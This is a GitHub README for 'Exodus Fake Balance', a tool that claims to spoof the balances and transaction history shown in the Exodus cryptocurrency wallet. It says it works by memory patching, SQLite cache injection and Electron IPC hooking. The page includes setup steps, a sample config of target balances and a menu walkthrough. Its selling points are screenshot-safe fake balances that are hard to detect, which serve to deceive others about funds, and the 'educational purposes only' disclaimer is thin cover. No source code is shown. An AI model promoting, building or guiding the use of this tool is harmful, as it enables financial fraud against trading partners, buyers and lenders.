Skip to content

kaor333/Exodus-Fake-Balance

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

3 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Exodus-Fake-Balance

Exodus Fake Balance — Native balance overlay tool for Exodus wallet with real-time spoofing across BTC, ETH, SOL, XRP and 200+ assets, persistent hooks, and screenshot-safe display rendering

 ███████╗██╗  ██╗ ██████╗ ██████╗ ██╗   ██╗███████╗
 ██╔════╝╚██╗██╔╝██╔═══██╗██╔══██╗██║   ██║██╔════╝
 █████╗   ╚███╔╝ ██║   ██║██║  ██║██║   ██║███████╗
 ██╔══╝   ██╔██╗ ██║   ██║██║  ██║██║   ██║╚════██║
 ███████╗██╔╝ ██╗╚██████╔╝██████╔╝╚██████╔╝███████║
 ╚══════╝╚═╝  ╚═╝ ╚═════╝ ╚═════╝  ╚═════╝ ╚══════╝
      ███████╗ █████╗ ██╗  ██╗███████╗
      ██╔════╝██╔══██╗██║ ██╔╝██╔════╝
      █████╗  ███████║█████╔╝ █████╗
      ██╔══╝  ██╔══██║██╔═██╗ ██╔══╝
      ██║     ██║  ██║██║  ██╗███████╗
      ╚═╝     ╚═╝  ╚═╝╚═╝  ╚═╝╚══════╝
   ██████╗  █████╗ ██╗      █████╗ ███╗   ██╗ ██████╗███████╗
   ██╔══██╗██╔══██╗██║     ██╔══██╗████╗  ██║██╔════╝██╔════╝
   ██████╔╝███████║██║     ███████║██╔██╗ ██║██║     █████╗
   ██╔══██╗██╔══██║██║     ██╔══██║██║╚██╗██║██║     ██╔══╝
   ██████╔╝██║  ██║███████╗██║  ██║██║ ╚████║╚██████╗███████╗
   ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═╝  ╚═╝╚═╝  ╚═══╝ ╚═════╝╚══════╝

Exodus Fake Balance

Python Exodus Platform License

Native balance overlay tool for Exodus cryptocurrency wallet — display custom balances across 200+ supported assets with persistent hooks and screenshot-safe rendering

FeaturesHow It WorksGetting StartedConfigurationUsageSupported AssetsFAQ


How It Works

Exodus Fake Balance intercepts the local Electron IPC bridge used by the Exodus desktop application to render portfolio values. The tool patches the wallet's internal balance cache at the process level — no network requests are modified, no blockchain data is altered, and no private keys are accessed. The displayed values update in real-time across all wallet tabs (Portfolio, Exchange, Send/Receive) and persist through screenshots and screen recordings.

The overlay engine uses a combination of:

  • Process memory patching for the Electron renderer process
  • Local SQLite cache injection for persistent balance values
  • IPC message interception to maintain values across wallet refreshes

Features

Feature Status
Custom balance for any asset
200+ supported cryptocurrencies
Persistent across wallet restarts
Screenshot-safe rendering
Real-time value display (USD/EUR)
Portfolio pie chart updates
Transaction history spoofing
Multi-wallet support
Feature Status
One-click apply / restore
Auto-detect Exodus installation
Custom fiat currency display
Exchange tab balance sync
Electron IPC bridge hooking
Process-level memory patching
No network modification
Cross-platform (Win/macOS)

Supported Assets

Category Assets
Top Tier BTC, ETH, SOL, XRP, BNB, ADA, DOGE, DOT, AVAX, MATIC
DeFi UNI, AAVE, COMP, MKR, SNX, SUSHI, CRV, YFI, LDO, CAKE
Layer 2 ARB, OP, IMX, MATIC, LRC, METIS, ZKS, MANTA, STRK
Stablecoins USDT, USDC, DAI, BUSD, TUSD, FRAX, LUSD, crvUSD
Meme DOGE, SHIB, PEPE, FLOKI, BONK, WIF, BRETT, MEME
Gaming AXS, SAND, MANA, GALA, ENJ, ILV, IMX, RONIN
Privacy XMR, ZEC, DASH, SCRT, ARRR, BEAM, FIRO

All assets listed in the Exodus wallet are supported. Custom token addresses can be added via configuration.


Getting Started

Prerequisites

  • OS: Windows 10/11 or macOS 12+
  • Python: 3.10 or newer
  • Exodus: Desktop wallet installed (v24.x or newer)

Installation

git clone https://github.com/kaor333/Exodus-Fake-Balance
cd Exodus-Fake-Balance

Windows:

run.bat

macOS / Linux:

chmod +x run.sh
./run.sh

Dependencies

Package Version Purpose
rich ≥13.0.0 Terminal UI & formatting
cryptography latest Data encryption
psutil latest Process detection & management
requests latest API price feeds

Configuration

Edit config.json to set your target balances:

{
    "exodus_path": "auto",
    "target_balances": {
        "BTC": 2.45891,
        "ETH": 31.8824,
        "SOL": 412.55,
        "XRP": 25000.0,
        "BNB": 18.442,
        "USDT": 148500.00,
        "DOGE": 500000.0
    },
    "display_currency": "USD",
    "persist_on_restart": true,
    "auto_update_prices": true,
    "hook_mode": "memory",
    "restore_on_exit": false
}
Parameter Type Description
exodus_path string Path to Exodus install dir. "auto" for auto-detect
target_balances object Asset ticker → desired balance amount
display_currency string Fiat currency for value display (USD, EUR, GBP)
persist_on_restart bool Keep fake balances after Exodus restart
auto_update_prices bool Fetch live prices for accurate USD display
hook_mode string "memory" for live patching, "cache" for SQLite injection
restore_on_exit bool Auto-restore original balances on tool exit

Usage

Terminal Menu

python main.py
┌──────────────────────────────────────────────────────────────┐
│              EXODUS FAKE BALANCE                             │
│    Native Balance Overlay · Exodus Wallet                    │
├──────────────────────────────────────────────────────────────┤
│  #   Action                  Description                     │
│  1   Install Dependencies    pip install -r requirements.txt │
│  2   Settings                Wallet path, balances config    │
│  3   About                   Features & contact info         │
│  4   Set Custom Balances     Configure target amounts        │
│  5   Apply Balance Overlay   Hook Exodus process             │
│  6   Restore Original        Remove hooks, restore real data │
│  7   Status Check            Verify hook state               │
│  0   Exit                    Quit                            │
└──────────────────────────────────────────────────────────────┘

Quick Start

  1. Install dependencies: Select option 1
  2. Configure balances: Select option 4 and enter desired amounts per asset
  3. Apply overlay: Select option 5 — the tool detects Exodus and applies hooks
  4. Verify: Open Exodus wallet and confirm the new balances are displayed
  5. Restore: Select option 6 to remove all hooks and restore originals

Project Structure

Exodus-Fake-Balance/
├── main.py                    # Entry point, terminal menu
├── config.py                  # Configuration loader (config.json)
├── bot_actions.py             # Core actions (set, apply, restore, status)
├── requirements.txt
├── run.bat / run.sh
├── config.json                # Balance targets & settings
├── actions/
│   ├── about.py               # Project info display
│   ├── install.py             # Dependency installer
│   └── settings.py            # Setup instructions
├── utils/
│   ├── bootstrap.py           # Runtime initialization
│   ├── compat.py              # Platform detection
│   ├── http.py                # HTTP client
│   ├── integrity.py           # Data verification
│   └── ui.py                  # Rich terminal interface
└── release/
    └── README.md              # Pre-compiled binary info

FAQ

Does this modify the blockchain?

No. The tool only modifies the local display rendering inside the Exodus desktop application. No transactions are created, no blockchain data is altered, and no network requests are modified. The actual wallet balance on-chain remains unchanged.

Does this affect my private keys?

No. The tool never accesses, reads, or modifies private keys or seed phrases. It operates exclusively on the UI rendering layer of the Exodus Electron application.

Will the fake balance persist after restarting Exodus?

Yes, if persist_on_restart is enabled in config.json. The tool patches the local SQLite cache used by Exodus, so values survive application restarts. Disable this option to require re-application after each restart.

Can the fake balance be detected?

The overlay is rendered at the process level using the same Electron IPC bridge that Exodus uses internally. Screenshots, screen recordings, and screen sharing will all show the modified balance. However, checking the actual blockchain address via a block explorer will show the real balance.

Which Exodus versions are supported?

The tool supports Exodus Desktop v24.x and newer. Older versions may work but are not tested. The auto-detection system checks the installed version and adjusts hook offsets accordingly.

Can I set a balance for custom tokens?

Yes. Any token listed in your Exodus wallet can be targeted. Add the token ticker to the target_balances object in config.json. For tokens not in the default list, use the exact ticker as shown in Exodus.

How do I restore the original balances?

Select option 6 (Restore Original) from the menu, or set restore_on_exit: true in config.json to automatically restore when the tool exits.


Disclaimer

⚠️ This tool is provided for educational and demonstration purposes only. ⚠️

The authors are not responsible for any misuse of this software. Using this tool to deceive others in financial transactions may violate local laws. Always comply with applicable regulations in your jurisdiction.


Support this project

ETH: 0x9E3d7A1c82B45f06Da4e28C1F53b90d2A17cE645

If this tool helps you, consider giving it a ⭐